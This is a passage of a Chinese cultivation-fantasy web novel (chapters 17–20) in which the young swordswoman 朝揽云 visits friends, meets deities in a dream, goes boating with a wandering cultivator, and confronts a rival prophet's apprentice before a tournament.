他捂住脸,吐了口气,眼下两颗红痣明明灭灭。
……
师青柏的房间在较远的地方,是观赛区,九龙朝巅会每届都会设立小孩子的观战区用来鼓励他们。当然,观战的名额也是要比赛得来的。
朝揽云扶了扶那叮铃哐啷的发簪敲了敲门。
“请进。”
推开房门,师青柏正与在队伍中见到的那个粉色衣裙姑娘坐在一起谈论着什么,黑色的眸子熠熠生辉。
“师姐?”
她回过头来惊喜开口,“你怎么来了?”
“因为答应了要顾及一下你。”
朝揽云有些尴尬地在她向自己头发看来的目光中回答道,“你们还好吗?继续聊就可以。”
“朝师姐好。”粉衣少女见状也有些拘束地问好道,“我们聊得差不多了。”
可以看出,朝揽云并不擅长和他人交流,在没有强制要求,找不到话题展开点的时候。
她使劲捂了捂脸,装作来送符咒的,塞给她几把符咒就告辞了。
“师姐这就要走了吗?”走出不久,朝揽云就听到了师青柏的声音。
她尽量从那副尴尴尬尬的模样中摆脱出来,微笑调动自己所有的思考,“你和同伴相处的很好,师青缇一定可以放心了。”看着追
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出来的师青柏,朝揽云虚跪着,直视她的眼眸,“遮镜也没有出问题,如果出了问题就来找我。”
师青柏沉默着,发现自己并不能说什么。不如说,她自己也不知道为什么追出来。
“是有些害怕吗?”朝揽云猜测道,她张开臂,“来,抱一下,我也没有办法,和别人相处时迟早要经历的。你看,这次师青缇也没法跟过来。”
朝揽云有些后悔没学习一下安慰他人了,明明嘴上在温和婉言,心底却自有一份煎熬的绝望,她无法看出她的情感来源,也便无法解决这份情感,只得被感染煎熬着。
师青柏还是没有说话,她向前抱了一下朝揽云,便害怕留恋似的快速回了房间。
朝揽云压抑一般,看着她的背影有些怅惘地回念起了曾经。
“九昭,你这就要走了?”
朝揽云一脸紧张硬邦邦地出声看着颂九昭。
“不然呢?”颂九昭笑得爽朗,目光中带着些许揶揄,“你舍不得我吗?”
“没有。”
“真的没有吗?”颂九昭笑嘻嘻地把脸凑过去,看着不过她身长一半的小孩羞地推开她。
“人类小孩真好玩,”她捧起朝揽云转了个圈,“幸好我当初是在投票时投了留下一票。”
朝揽云叹了口气,伴着夜色回了自己的屋子。
她推开房门,夜晚屋子里本该黯淡无光,需要摸索前进的地方有了一束光,是桌子上的蜡烛。
她的面朝大树的横窗也被细心关上了。
她关上门,推开窗。
窗户的吱呀声惊醒了对面隔着一颗大树的人。
徐怀初在对面,离得有几丈距离,只看得到一个模糊的光点和似乎在窗边趴着的人影。
他似乎招了招手。
朝揽云把剑放下,笑着跟着挥了挥手。
“早点睡!”
似乎是掐了道光符,不远处出现了几个朝揽云可以看清的大字。
朝揽云笑着看着他又在空中画了个笑脸,便熄了光。
朝揽云便也将烛火吹灭,关上窗,摘下发簪放入储物囊,躺到了床上。
……
旭阳高升,穿透窗纸,穿过眼睑,格外刺眼。
窗外逐渐喧闹起来了,人声一阵一阵的。
窗外声音越来越大。
窗外,随便吧。
朝揽云把手臂向眼上一搭,抱着被子翻了个身,躲开了那刺眼光亮。
朝揽云,朝揽云,朝揽云……
“师姐明天会去找我吗?”
“好啊,我去找你。”
可恶,她绝望地翻了个身,跳起,扯下手腕上的红发带,伸手捉住桌上的剑,一手绑着头发狂奔出门了。
“揽云!”
她跳下竹楼,看见大树下的徐怀初站在一下棋的老人身旁,一脸惊喜地伸出手招呼。
“你起……了。”
她奔过他身侧。
“我有事!晚上再找你玩!”
朝揽云如一只狂奔的鹿跑了过去,扔下了一句话。
“真有活力啊。”
那下棋老人眯起眼,转过头去看向她背影,“对不对?怀初。”
徐怀初无奈地笑了笑。
“怜儿~”
等了许久,呼唤声传来,青怜扬着完美的笑,坐在房间的桌子前。听到声音便抬起头转身望向朝揽云。
“你在做什么呢?”
朝揽云奔去,轻巧地坐到了她对面提问道。
17. 第 17 章
青怜放下手中的笔,按着那堆满书籍青绿色的桌案,轻笑着看向了她。
“怎么?懒云是要帮我复习药物学吗?”
竹窗的阳光带着淡淡的绿色,医修药修的宿舍建立在湖畔。也就是说,他们住在一座水榭中。
朝揽云洒脱地摆了摆手,坐到窗边的躺椅上向后躺去,她舒服地喟叹一声,却同样因不适应摇摇晃晃的躺椅而紧紧抓着扶手。
“不用这么勉强。”青怜在自己房内自在了许多,她一脸笑意看向朝揽云,“我这又不是没有不会晃的躺椅。”
“怜儿不懂,”朝揽云煞有其事,“这是一种历练,名叫克服内心的恐惧。”
青怜于是捧起书,无奈地否言是否。
透过窗的绿水波纹轻轻荡,有小舟飘扬在水面,谁家修士欢声笑语,小竹水榭宁静安和。
朝揽云很快靠在躺椅上再次睡着了,青怜坐在桌案前温习着药物的名称、效用、炮制方法。
温温软软,空气像蜜糖一样,这样休闲的时光总是让人感到慵懒又愉悦地,青怜只能用力打起精神才使自己不睡过去。
来我这就是重新换了个地方睡觉啊,她笑了起来,这里空气湿润,她会睡得更好吧。昨天趁着接触搭脉的时候,觉察出她总是肝气郁结、脾胃虚弱、还常半夜惊醒。她暗自思考,不知她是否愿意吃药。
“青怜师姐。”门外有人唤她,青怜轻皱眉头看向了朝揽云,朝揽云睡得很熟,没有丝毫被惊醒。
她才松了口气,从床上抱了被子给她盖上。
轻声出去后,青怜就看见师父青月的另一个弟子一脸焦急,“师姐,比赛用的药材出了问题,师父让你去一趟。”
离开?青怜揣度片刻,本来此时身在九龙山是不必担忧的,但是顾及昨天朝揽云碰到的危险,青怜还是开口交代,“我这就去,师姐在屋里睡觉,你留在这里看顾下。”
“师姐?”面前弟子疑问作声。
“就是约一个月前刚回来的柳栁长老弟子。”
面前人这才恍然大悟,“她不是很强吗?听说八岁时就在外闯荡了,怎么需要看顾?”
青怜颇为愣住了,仿佛是一直在被自己故意忽略的一样,朝揽云其实并不需要她,她已经自己过了八年,过得很好了。
青怜有些不能接受,但因青月长老的命令还是跟着面前人快速离去。
“是我着相了,我们走吧。”
“青怜?”
“人呢?”朝揽云睁开眼颇为疑惑地咕哝道。
清雅、摆满药录的整洁的空无一人的房间,风吹竹帘,朝揽云望着窗外湖泊,执笔落下几句诸如我先出去看看之一类话语,步出了房门。
洁净的水泊如今已空无一人,朝揽云正为疑惑,明明方才梦中还模糊听闻有人伴舟长歌声。
恍惚间一叶扁舟荡来,朝揽云扶住船身,轻巧地跳到了船中,神思蒙昧,船荡了起来,浮向了水中央。
“朝揽云!”有人叫她。
“可于朝揽云?”
“可。”
她神思蒙昧,吐出了这样一句话。
“即可,便步入湖中,朝圣神明。”
“神明何名?”
“神明未留名,但世人称之,哺元。”
“哺元道君,仙神。”
面前迷雾朦胧之地,雾被风吹过,显现出一座简朴又极附神意的茅草屋。
朝揽云趟水而行,见湖边仙鹤啼鸣,青藤绕屋,树木苍翠,有几人坐石桌上谈笑饮茶。
“看你,”有一布衣女子笑道,“有缘者都追到我这来了。”
见那一身白纱的女孩歪头过来,看起来样貌不大,不过十四五岁模样。
“多些热闹不好吗?”
另一道袍绣青绿色纹路男子站起身来,帮她引渡朝揽云至石桌边。
“我的至交好友?”她言笑晏晏道,“真高兴见到你如此小时模样,若非青藤最近去养了条小鱼,我自己一人无法将你从亿万年前光阴引渡,我定当早早见到你。”
“哺元道君?”
朝揽云小心问道,她看着外貌稚嫩的女孩莫名感到不真实。
“哺元?是你们给我取的道号吗?我生来便名女孩。”
女孩言笑晏晏,即使表现亲和也能让人看出是个宽悯的神明。
“是给你取的道号,”朝揽云看着一桌温和笑着的神明并未生出怯意,顺着青藤让出的座位坐下了,“因为传说中你如母亲般宽和救世。”
“真的吗?”她看起来很是惊讶,“我这般竟也能被称母亲?当初只是看下界可怜,施了些术法,竟也当救世,下界真好玩。”
她扯过一旁青藤道:“他在你们那里是什么形象?”
“这位大概是青藤道君?开启道法传世恩典之祖师。”
“青藤,”女孩自顾自笑道,“我决定要再次下界去游玩,这次世间定于逍逍当帝皇时不同了。”
逍逍帝皇,朝揽云暗思,大概是上个群星争锋最后被两帝皇统一的时代罢,也不知她所说是哪位帝皇。
“云云,小云云~”正想着,女孩凑了上来,“以后去游历的时候一定要把我捡上哦。”
朝揽云退开了一下距离,她没有听清女孩说的是什么,视线转回另一位布衣女子。
“这位是?”
“她没下过界。”女孩托着腮说,“你不会知道她是谁的,不过以后说不定能看到哦。”
她说话间好似天下的万千未来都在她心中,她看见的不知是身边人的新生还是死亡。
“女孩,”布衣女子开口了,“再不让她回去,你这位有缘人就被你折在此处了。”
“好吧~”女孩大大叹了口气,眼中闪烁着光芒笑着对她说,“偷偷告诉你,界海有一位跟你命运纠缠的魔女小姐哦。”
声音在渐渐远去,朝揽云的眼皮逐渐闭合。
“虽然你醒了就会都忘记的。”
人声喧闹,清雅、摆满药录的整洁的空无一人的房间,风吹竹帘,朝揽云望着窗外湖泊,无数修士荡波湖上。
桌案上朝揽云总觉得少了些什么,却只见一片洁净。
扫了一眼屋
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内,她只得站起身来,执笔留一张信笺,写下诸如我先出去逛逛的言谈。
湖面微风荡漾,朝揽云站在青怜屋门前小码头上看着不远处湖上戏波捉舟的人们。
“哦,这位道友?又见面了!”
一道身影从身后传来,朝揽云转过头去,看着一布衣修士正招呼着自己。
“不记得了吗?”修士探过头来,眼眸欢意湛湛,他做出一副行剑手势,开声道,“前方这位道友?要不要同道奔山?”
朝揽云方才恍然大悟。
“那这位道友?”他一脸笑意,举起手中的船桨,“此刻要不要同道游湖呢?”
朝揽云挑了挑眉,接过了他递过来的一个船桨。
“乐意之至。”
风垂荡湖面窸窸窣窣,泉声回绕拍打在船桨边,带着湿意凉爽的风拍打到脸上身上,吹得手腕处小腿处宽松布料,如狂风席卷般向后袭去。
芦苇声游荡…
“伴敕勒!北山下!行武荡步走四方~”
“湖如沙丘布秕谷,残寒尽渡西漠观。雪憨憨,飘落血,俄来千秋玉醍醐……”
或是即兴,布衣修士唱起了民谣回荡在湖泊之上。
“东洲没,血银河~刺异声声焚道流,千秋万代谁敢绝,北境城外裹尸还~”
“道友是西漠人吧,我家掌柜姐姐给我唱过这首民谣,随乡音已改,但还是如此容易辨出。”
“我是散修,”布衣道士坐下笑道,“我家那边世代传唱这首歌,听闻是大异变时期的,也不知是谁所作歌谣。”
“谁所作歌谣啊,”朝揽云放下船桨,躺下看着天空,一只手在湖中浸着,凉丝丝的,很舒服,“能做出这种歌谣的,想也在那场战争中丧生了吧。”
她笑着听着船下传来的湖泊水流声。
“这时候如果再下点雨就更好了。”
布衣修士坐在湖边撩了撩水。
“真难得的水啊,我西漠里都见不到。”
“我见旱灾处常有术修,自称聚水坊之人,可降下水除旱灾。”
说过大半,看着布衣修士无奈地摇头,朝揽云才恍然大悟。
“也是,聚水坊看来是开不到那里去的,空气中没有水,就算是聚水阁主也是巧妇难为无米之炊。”
布衣修士笑着叹了口气。
“这次来九龙朝巅我怕是取不得什么名次,不过家中老人始终让我出来见见世面,说什么年少不枉轻狂一场,其实我只想加入我们那里的清剿队,这几年异变越来越多了。”
朝揽云愣了片刻而后道:“我觉得你家老人说得对。”
布衣修士抬起头,面色疑惑。
“清剿队目前还少你一个人吗?该见识一下世界的机会就去见识世界,如果什么都没见到,如何修炼得更好来对抗异变呢。”
“修炼,最重要的不是破境吗?心思要澄透,想清楚心中执念,而后再去实现。不然容易作无用之功。”
布衣修士面带新奇地打量了一遍朝揽云。
“没想到你小小年纪,想的如此深刻?”
18. 第 18 章
朝揽云看天上游云,舟旁水清荡,划桨适过簪花姑娘。
“不是我说的。”她叹了口气,“是让我来九龙山的人说的。”
“那她?”
布衣修士投过来疑惑的眸光,他撑着船桨慢慢划着。
“我不知道,那天旅馆附近异变了,醒来时已经过去很多天,我一直不敢问。”
“哈,真无用啊我,事到如今也只能来参加个比赛。”朝揽云拿手紧紧捂住了眼睛,手上一片黑,阴湿潮热,她空洞地盯着捂住阳光的那片黑。
“那就相信她们活着吧!”
移开手,布衣修士笑着伸出了手,“她们会活着的。”
入目即是澄澈的瞳孔,山青海阔,碧波千里。
“承你吉言。”她笑着道。
“如果世界上都是你这样的人,我不会后悔死在北境的。”
菰米落叶秋铎时。
我其实已经发现线索了不是吗?一样的火浸,时间也对得上,可是如果结果不如我所料呢?如果结果如我所料呢?
“我也不会,如果世上都是你这般心思澄澈之人,我会一直在清剿队直到落幕。当然不是也可以,我愿意保护所有人。”
这里的所有人都知道自己将来回去战场,即使有人不知边境的异化早已加剧。
很多人自修炼以来就是抱着必死的决心的。
朝揽云的眼眸弯了起来,如一江春水淼淼怀波,飞吹过就撩起一畔柔意。
“今天很高兴遇到你!”
她站在码头边挥了挥手,拿着船桨远去的布衣修士也挥了挥手告别。
烟霞垂暮,天下人间都被流光金晖,时光仿佛会永远停留一般。
烟水也茫茫,心所也浩荡。
他转身而去,混迹于人群之中,从茫茫处来,向茫茫处去。
朝揽云鞠了一捧水,冲刷掉脸上可能留下的泪痕,带着笑容回去了青怜的房间。
青怜还没回来,就像再也不会回来了一样,桌案上的书籍随着她进来的动作被风吹回了一角,朝揽云小心地将书页压回去。
别乱想,在这里可以出什么事情?
呆滞片刻后,她终于从麻木的状态中挣脱出来,狠狠揪住了脸颊肉,直到她清醒过来。
还有许多事情要做呢,要去找昨天的贵妇人,她会帮忙的,旅舍大家的存亡,她会帮忙的。
她有所谋求,不管是情感还是麾下事故的真相。
直至魂不守舍强逼自己清醒,朝揽云浑浑噩噩、跌跌撞撞地走出了房门,努力凭着记忆向昨天那个屋子走去。
“看呐,我就说她现在的心神还无法很好地承受穿越时空。”
“是吗?”空中虚无的声音笑了起来,“她已经比大多数人都强了不是吗?而且这并不是她第一次越过时空的束缚啊,她将会越阶,我看得到。”
朝揽云看着屋子前的一堆面具人深吐了一口气。
“请问,汉家贵人在吗?”
声音乍出,面具人皆面无表情,犹豫片刻她再次开口。
昨天蹲的那颗树下,戴黑色金甲面具的男人跳下来,颇具兴味地开口道:“你是谁家的小崽,昨天偷偷来不成,今天就光明正大喊门了?”
他今天身上套了一身黑色甲胄,手上还拿着狂斧,就像是马上就要出去一般。
朝揽云判断出自己打不过他,最多只能保命,于是心底生出一丝畏难。
“这时候知道害怕了?知道天骄城槐家是什么声名吗?上午另一个小崽子来了,紧接着你就来了,今天是不想让我安生啊。”
“另一个人?”
朝揽云镇定自如地松开了手中握紧的黑剑,“是谁来了?”
面前人带着黑色金甲面具看不出表情,抬起手摸了摸下巴,浑身透露出一种嚣张的气息。
“想知道啊?不告诉你。”
朝揽云皱起了眉,颇为气急。
“你不告诉我,我也可以回去问。”
“行了,你这小崽子嘛没意思,主子猜到你会来,她让我转告你,三天后,天骄城北门见。怎么?三天后你应该能解决蝮蛇赛第一轮比赛吧。”
他抱着臂道:“蝮蛇赛啊,淘汰者可通过此比赛获得重返赛场的机会,胜利者也需要再次打败通过蝮蛇赛初赛的人才能夺得冠首。”
“你们两个,可是所有参赛者的对手啊,众矢之的。”
“是吗?”朝揽云不骄不躁地眨眨眼,睫毛的翕动分外冷静,“荣幸之至。”
“早就听闻金家叛徒桀骜不驯,她的传人竟也是这般。”
“虽然我很喜欢金鳞姑姑,但我更希望他人眼中看到的是我,而不是谁的传人。”
“那就等你有这个资格吧。”
“黑水寨似乎联系了一些人来逃避去往北境以北清剿异变兽的义务。”
异变兽?看来这是中境的称呼。
在面前人扔出的爆炸性信息中,朝揽云先提取到了最不重要的一点。
“据马奎,对,就是你昨天见到的那个敢在主子面前大喊大叫的人。据他所言,黑水寨那群人迁徙时总是喊渴,每遇水源便如久逢甘露一般疯狂饮水。”
“迁徙途中步过一片干旱地,寨中人如身体水分尽消一般纷纷倒地,不知为何聚水符也无法使用。他只得去打猎,试图以血液解他们止渴。”
“血液不能解渴,但的确可以补水。”见面前人看向自己,朝揽云思考一下评点道。
面前人突兀笑一声,“小小孩子,这些竟也知道。”
“因为我也曾试图以此解渴?”
朝揽云看他没有接着叙述疑问解释道。
“好吧,”他耸了耸肩,没有追问,“接着就是他回来时寨中人都自焚了。”
“评点一下,如果是你,你会怎么做?”黑色金甲面具人扬起下巴审视着她。
“如果是以前,我会在发现异样后去找旅舍中的大家商量,如果是现在,”朝揽云犹豫一下,“我不知道。”
“真可惜,如果不是不可能,我还真想把你拐来中境,不过也没关系,你迟早要上北境。”
朝揽云不置可否。
“所以,来的人是谁?”
“我说这么多你就记得问来的另一个人是谁?”
朝揽云不过十六,身体尚未抽条,站在他面前只感到一片沉沉的阴影遮住了太阳,威压较重。
“不然呢?哦,还有三天后几点到?”
“昼起时分。”面前人颇为无奈地不耐烦挥了挥手,如同在赶一只飞舞的
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蛾子。
没有得到期待的反应吗?他是希望表现出惊讶?朝揽云默默思考着离开了这里。
面前的巨树被竹楼缠绕着,朝揽云看不清它的高度,出于蝮蛇赛专门安排的房间,除了徐怀初没有其他参赛者,大概还有一些长老之类的?她暗自想到。
所以现今傍晚也格外寂静啊。
犹豫一下,她还是脚尖点树,几步攀上了差不多是自己房间的位置。
那么徐怀初的房间就在对面了,在时间不够去寻青怜的情况下,直接问他是最好的办法,以他的道德观也是十分有可能为了昨天事故去那里的。
她坐在树桠上,盘腿托腮酝酿着一会盘问的言语。
窗纸上映着的人的身影动了起来,本在房侧桌旁擦着剑的人起了身,走到了窗边。
徐怀初坐在桌旁擦着剑,他心中还回思着上午汉华对他说的话,正思考着,耳畔传来一缕微乎其微的风声。
他目光立刻望向窗畔。一个盘着腿抱着剑坐在树桠上的小小剪影映在窗纸上。
他嘴角蕴出一丝微笑站起身来。
“晚上好?”
朝揽云看着打开窗的徐怀初尴尬招招手,方才想的言辞一下子都忘光了。
“揽云要进来坐一下吗?”
徐怀初面含笑意,目光清朗。
“不用了吧。”朝揽云推脱一下。
“那有什么事情吗?”徐怀初坐在了先前就一直放在窗侧的凳子上,眸光潺潺,专注地看着她。
“你三天后要去天骄城吗?”她尴尬地揉揉鼻子问道。
“要一起结伴吗?”
还是不能判断出那个人究竟是不是他。
朝揽云苦大仇深地思考了一下。
算了,她想,九龙朝巅会后大概见不到了,那么尴尬一点也就这几天吧。
“今天上午去昨天那个院子的究竟是不是你?”
徐怀初收回了笑容,朝揽云身体前侵,紧紧盯住他的表情。
“噗嗤”一声,徐怀初笑了起来。
“是我,所以揽云要和我一起去吗?”
奇怪的人,我并没有做对他造成好处的事情,难道他真是一个高尚的人?帮一个可以说是对手的人。
朝揽云想不通,所以她不想了。他和青怜不一样,青怜的好是朝揽云可以找出理由解释的,但是他在朝揽云这里甚至只是一个见过几面的陌生人。
“东洲有你我就放心了。”
徐怀初有些错愕地看着朝揽云苦大仇深地盯了他一会,然后想通了似的点了点头,对他说了这么一句话。
“明天除我们以外的参赛者比赛,要去看看吗?”
朝揽云听到就立刻点了点头,而后想起今天睡后就找不到了的青怜内心有些担忧。
“我要先去找一下怜儿。”
“我和你一起去吧,”徐怀初露出笑容,“毕竟我们这是第一次有两个人参加蝮蛇赛,规则还没定,我觉得我们最好一起行动。”
“还是你思考得当!”
朝揽云心事解决,将手中剑扔进自己房间,推开了窗。
“那晚安啦!”
她窜进屋中,发尾的红发带也跟着跳进去。
徐怀初愣了片刻才笑着关了窗。
19. 第 19 章
“什么?竟然还有人要加入?”
朝揽云还在打着哈欠就猛的听到这一消息,她错愕地扭过头去看着被派遣来给她们通知的相长老。声音在一片呜呜泱泱的谈论声中显得格外干脆。
相长老没好气地答应了一声。
“是啊,受你们鼓动还有人要加入蝮蛇赛呢。真是,不知道给我们鹿渊阁添了多少麻烦,你们两个人的蝮蛇赛本就不好安排了,还不能安排成团体赛,还不能降难度。知不知道增加了我多少工作!”
“麻烦倒是称不上吧,”看着一脸不悦的相长老,徐怀初在一旁边笑话着他,“忙点,相长老且忙点才好,那就顾不上天天去找南疆的蛊娘打架了,也顾不上被阁老们罚了,也就不用找人帮忙求情了。”
相长老不悦瞪了他一眼,没好气地喊了句闭嘴。
徐怀初歪着头乔装无奈。
“这话说的,我又没有撒谎。”
“讲讲?”一直昏昏欲睡的朝揽云听此来了兴趣。
她瞥着相长老,偷偷挑起了眉,一步一步挪,装作若无其事地挪到了徐怀初背后,看徐怀初满眼笑意若有所觉向后移来,就扯住他肩头衣角,刻意躲过相长老视线,让他告诉自己。
相长老看着浑然不觉自己被发现,沉浸在听八卦喜悦中的朝揽云,刚想瞪过去,就看见徐怀初抱着臂,目露愉悦,默不作声地遮住了他视线中朝揽云的身影。
“求情哦。”他做着口型威胁着相长老。
朝揽云的这一举动并不明显。但身为唯二在场晚辈,当然不少人一脸兴味看着这边,并因此起了不少拉媒心理。
当然,也有人因此怀疑东洲两大宗门要联合了,思考着对策。
“嘘,”徐怀初伴着朝揽云的意思把头靠了过去,冷淡无视了一群或隐晦或明显把目光投过来的长辈们,然后悄悄说道,“回去告诉你,现在时间不够说不完。”
朝揽云只得颇为遗憾地叹了口气,放开被她揪住的他的衣物,靠在了身后柱子上。
她们此时身在鹿渊阁的接客大厅。
九龙朝巅会的初赛是先由各宗的领队长老来抽签决定对敌的,一般来说不会有弟子来此,各位长老也可以趁此交流一下宗门事物。
但谁让她们两个要参加蝮蛇赛呢,蝮蛇赛不是没有再次举办过,但是一年两个人参加蝮蛇赛的确是史上第一例。
而且朝揽云和徐怀初分别出自东洲的两个领衔宗门,令人担忧东洲下一步会出什么变故。所以经过不少人提议,他们现在就站在了这里任所有人观摩。
鹿渊阁的大厅格外的大,大得即使分散着大陆各端来的宗门长老也看起来格外空旷,鹿首、鹤首、龙首等各种雕刻在大厅内随处可见。
正当徐怀初为没有精神的朝揽云,普及起鹿渊阁雕刻这些纹路的客座长老的奇闻趣事时,一阵响亮的脚步声传来了。
女子衣着鲜艳繁复,妆容亮眼让人一眼判不出她的年龄。
她持一手玉牌在大厅内环视一圈就锁定了目标,朝朝揽云冲来,左手玉牌,右手抓向朝揽云的手腕。
“嗯?”朝揽云在身边徐怀初试图引起她兴趣的普及声中,她总算抬起了半睁半闭格外倦怠的眼睛,总算来了个有意思的了。
她轻啧一声制止了作势挡开那女子的徐怀初,“怀初,”她亲昵说着自己的诉求,“不要抢我的游戏哦。”
直到那女子抓上了她的手腕,她还是眉目盈盈,一脸温和愉快。
大厅里生出了些变故,自然所有人都默默看了过来,他们颇为合拍,自觉又怂恿地让开了些位置。
于是,所有谈论都在一瞬间停止。一时间,朝揽云满含愉悦的声音回荡在大厅里。
“你好啊?这位姑娘。”
她笑意盈盈等着对面人的回答,看对面女子毫不做声,左手将玉牌抛向自己,只得无奈摆脱了她的挟制,一个转身旋转远去,而后向后下腰,躲过了被抛过来正当她面门的一个玉牌。
女子双指施法将玉牌召回大半,朝揽云翻转起身之间忽感到身后有袭来灵气,一时躲避不及,于是手臂一展捉住附近一个鹿首,借力翻了过去。
回头看,那玉牌寻踪而来,朝揽云正要握住自己的剑,就想起乌傩剑在入厅之前放到了寄存处,她看着玉牌一时之间慢了半拍。
措不及防间,身体八周袭来无数玉牌,她只得赶忙蹬掉一玉牌,伸手握住。而后纵身起跳,在空中转身,寻方才踢去那玉牌的空挡摆脱了出来,险险避过那从四面八方袭来的玉牌。
玉牌撞到了一起,除了那个被朝揽云挟制手中的玉牌,其他都散落一地。
有意思,她亮了亮眼睛,颇为兴高采烈地弯起了眸望向了对面女子。
“要动真格的吗?”她提声问道,争取对面人的意见。
徐怀初被推到一旁,此刻也正若有所思地看着她打高兴了熠熠生辉的眸子。
“你!”女子听到她话语顿生怒意,妆饰过了的好看眸子被眉压下。
“好了,别打了。”
见阁老示意,方才一旁看得津津有味的相长老此刻才不情不愿地开口:“最后一个人来了,你们三个都是要参加蝮蛇赛的人。”
“这位是预言师前敛的弟子,”
相长老在那慢悠悠说着。
前敛,徐怀初抬起了眸,默不作声地站到了朝揽云身旁,打量着女子。
“未来的预言师,络净。”
“预言师?你能在战斗中看到对手的下一步动作吗?”朝揽云明显很感兴趣,“就像方才一样算计全局,在对手不知的情况下将玉牌摆在每个死路,然后一击制胜。”
络净听她这话明显怨念满满,眼尾黄霞都沾上了几丝怨气。
“怎么可能是你?我不接受,你这样嘲讽他人的人。”
“嘲讽?”朝揽云没反应过来。
徐怀初明显憋着笑示意她凑过来,小声给她解释道:“她用的就是你说的这般套路,只不过你以力致胜破解了。”
“所以你说的话在她听来便是嘲讽。”
“可是她没用全力啊,若她在玉牌上刻满术法荼毒,我也是无法挣脱的。”
“所以比赛除非不论生死,其实根本无法分出名次啊。”
徐怀初无奈道,“你总不能让她以杀死你为目
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的和你打吧,任何人都不能同意的。”
“也是,”朝揽云一脸志同道合,赞赏看着他,“我们什么时候打一场?”
徐怀初微敛眸,看着起了兴趣专注看向自己的朝揽云,轻轻抿住了唇,她的眼睫黑得像鸦青。徐怀初一时之间有些失言,脑子里空白不知该说什么。
他一时之间无法去想是自己哪句话引起了她的共鸣。
“喂!你们两个不要无视我啊!”
“就算将来…”络净看她们在那窃窃私语喊了起来,中间嘟囔几句,然后重新大声警告,“总之,现在停止你们的交流!”
“相长老,”徐怀初看了她一眼,而后歪过头对相长老说,“我觉得我们这些选手需要一些交流的空间,你觉得呢?”
相长老明显看出他有什么事情要办,但他扫了一圈在一旁没得到答案便席地而坐、百无聊赖玩着一团灵气的朝揽云,和一脸斗志昂扬凑到朝揽云身边宣战的络净,决心也整点什么动静。
“也可以,”于是他轻飘飘扔下一个深水炸弹,想给他使个绊子,“反正蝮蛇赛的规则你昨天就知道了。”
说完他还专门往朝揽云那边看了几眼,却只看到她一脸困意,温和应付着络净的话,丝毫没有注意到这边,不由有些遗憾。
回过头来,看着徐怀初的微笑,他顿感无趣甩手离开了。
“现在的小孩,真没意思。”
“所以你嘲讽了我。”
“这样啊,”朝揽云有些困意,昏昏欲睡中若有所思着,“那对不起,以后不说这句话了。”
络净撇了撇嘴,有些生气道:“谁信你的?听我说话这么困吗?”
“没有,起得早,早上五六点就被叫起来了而已。”
朝揽云默默回思着今天早上把她从床上拖起来拖到这个大厅里的青怜,眸光一转就看见青月长老和宗主一脸难言地看着她。
她连忙规整坐态,从地上起来。
“怎么了?起起坐坐的。”络净跟着站起来。
“我宗主长老看过来了。”
络净正要循她目光望去就见徐怀初走了过来。
“络姑娘,你的师父前敛是在半个月前去了东洲吗?”
他一脸笑意问道,“揽云对你们有什么特别吗?”
朝揽云抬了抬眸,看向徐怀初明显要交涉什么的模样,将两个人分别打量了一遍,最终选择站在了徐怀初身后。
“你就这样站在他那边了?”
络净一脸不可置信,“那方才你对我这么好的态度是什么?”
朝揽云头疼,朝揽云想逃避,朝揽云想面无表情地离开。
事实上,见过几面的人和第一次见面的人为何起争端她都想不知道,她讨厌任何吵闹。
于是她挪到了徐怀初身后。幸好,她庆幸,以时间度量站位常常很准确。而且徐怀初好像是在因为自己的事情发问。
“络姑娘,我想问你些问题。”徐怀初遮住了朝揽云的身影。
络净还在不可置信地盯向朝揽云,朝揽云只得颇为头疼地干巴巴回答了一句。
“你们随意。谢谢。”
20. 第 20 章
“朝揽云!你说话!你凭什么又把我丢给他。”
又。朝揽云默默咀嚼着这个字,透过徐怀初的发丝看到络净眼睛大大睁着,眉心的梅花花轴浓艳至极。
大厅里不知何时都看向了这边。
看着她亮晶晶像要掉下泪的眼珠,尽管并没有想起何时自己招惹过她,朝揽云还是心软了。
“怀初师兄,”她轻叹一声,捉了捉徐怀初的衣袖,看着徐怀初两点星眸垂下眸看过来,“我们出去说吧。”
徐怀初心情复杂,看着她落眸走向络净只得无奈赞同。
“络净,”她颇为生疏叫着这个名字,眼眸亲善地微微弯着,轻声带着些安慰的哄意,“我们出去说好不好。”
络净抬起头看着朝揽云伸过来的手,眸子里带着些迷茫和确定,“我的确是无缘无故对你说这些话,”她狠狠擦了下要掉下的泪水,眼眸的黄霞都沾了些到袖子上。
繁复琐杂的衣物分外霞丽,她把手递到朝揽云手心,反而是她自己在紧紧攥着朝揽云的手。
“揽云,这里,”徐怀初带着笑眸在前方带路,他看向朝揽云,“我们去偏殿说话吧,这里人的确多。”
话音刚落,不约而同响起的几声轻咳和转头的衣物摩擦声在大厅里响起。
“千刀兄啊,我觉得你说的这里的确不对,哈哈。”
“哎,我们刚才说到那个什么九龙了对吧。”
“哦,对对对,不就是那个什么九龙朝巅会嘛。”
庭院深深深几许,漫蒲遮天荫映人。
三人穿袭走廊,脚步急躁却又静寂无声。
朝揽云无奈地感到自己的手正在被紧紧攥着,蔓延而来的情绪,如同盐碱地的气息无处不在包绕着,把她的困意都驱逐去了。
她微微叹了口气。
“我想如果是为了逃避你师父话题的话,你就不要想了,你师父对揽云造成了伤害,我们是无论如何都会追究到底的。”
络净停住了脚步,她把朝揽云也扯停了,正在说话的徐怀初也便停下脚步,冷淡陌然地看着她。他的眼里的络净好似只是一个能被评估的器具。
或许就是这样,这才像一个顾及利益的少宗主。
络净身体颤抖着,她抬起了头,笑容甚至有些挑衅。
“不过是你,没必要值得我解释什么。”
朝揽云视线不动,看着他两人对话时留在走廊上的影子。
它的嘴巴张张合合。
“北境的天梯可通过去未来,听说其中还有一个村落都是夹杂在过去未来情缘不得的人们的孩子。”
两人一齐看向她。
“预言师有这样的能力吗?”
她声音缓和又平铺直叙。
很超脱,这是一个大胆的想法,但是从络净的表情中明显能看出她猜对了。
“我就知道你能猜到。”
络净繁复的衣裙扑上来,声音雀跃又惊喜。
而作为其实只是第一次见到她的朝揽云努力抵抗住想摆脱的行动,她的身上有一种危险感。
徐怀初看着她还是叹了口气,捉住了络净的衣物把她拽了下来。
“不要随便抱上去,你们才第一次见面。”
络净瞪上了他,正要重新扑上来却黯然神伤地发现朝揽云的确趁此机会躲远了。
“谢谢你的热情,或许日后我们会成为朋友,但是其实我们现在还是第一次见面。”
她站在徐怀初身后偏后一点轻声说道。
她的眼睛只露出了一些,她明显想躲远。
“我知道了。”络净这才冷静下来,“徐怀初,你要问我什么?”
“你师父对揽云使了窒息法阵。”
徐怀初看着怔愣的她重复了两遍。
